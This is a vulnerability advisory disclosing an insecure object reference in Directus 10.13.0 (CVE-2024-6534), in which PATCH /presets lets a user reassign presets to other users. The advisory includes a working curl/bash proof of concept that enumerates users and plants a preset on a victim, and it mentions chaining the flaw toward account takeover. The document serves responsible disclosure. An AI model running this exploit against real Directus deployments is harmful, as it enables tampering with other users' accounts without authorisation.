Directus 10.13.0 - IDOR
Summary
Name | Directus 10.13.0 - Insecure object reference via PATCH presets |
Code name | |
Product | Directus |
Affected versions | 10.13.0 |
State | Public |
Vulnerability
Kind | Insecure object reference - Personal information |
Rule | |
Remote | Yes |
CVSSv3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N/E:H/RL:U/RC:C |
CVSSv3.1 Base Score | 4.1 |
Exploit available | yes |
CVE ID(s) |
Description
Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the POST /presets
request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.
Vulnerability
This vulnerability occurs because the application only validates the user parameter in the POST /presets
request but not in the PATCH request.
Exploit
To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.
-
Create a preset for a collection.
Store the preset id, or use it if it already exists from
GET /presets
. The following example will use thedirect_users
preset.TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="malicious@malicious.com" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json" # Choose the victim user id from the previous request victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265" users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}" | jq -r '.data.id')
-
Modify the presets via
PATCH /presets/{id}
.With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from
GET /users
. The following example modifies the title parameter.curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
Notes:
Each new preset to a specific collection will have an integer consecutive
id
independent of the user who created it.The
user
is the userid
of the victim. The server will not validate that we assign a new user to a preset we own.The app will use the first
id
preset with the lowest value it finds for a specific user and collection. If we control a preset with anid
lower than the current presetid
to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the presetid
could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.
Evidence of exploitation
Our security policy
We have reserved the ID CVE-2024-6534 to refer to this issue from now on.
System Information
-
Version: Directus 10.13.0
-
Operating System: Any
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Miguel Gómez from Fluid Attacks' Offensive Team.
References
Vendor page https://directus.io/
Timeline
2024-07-04
Vulnerability discovered.
2024-07-15
Vendor contacted.
2024-07-16
Vendor replied acknowledging the report.
2024-08-14
Public Disclosure.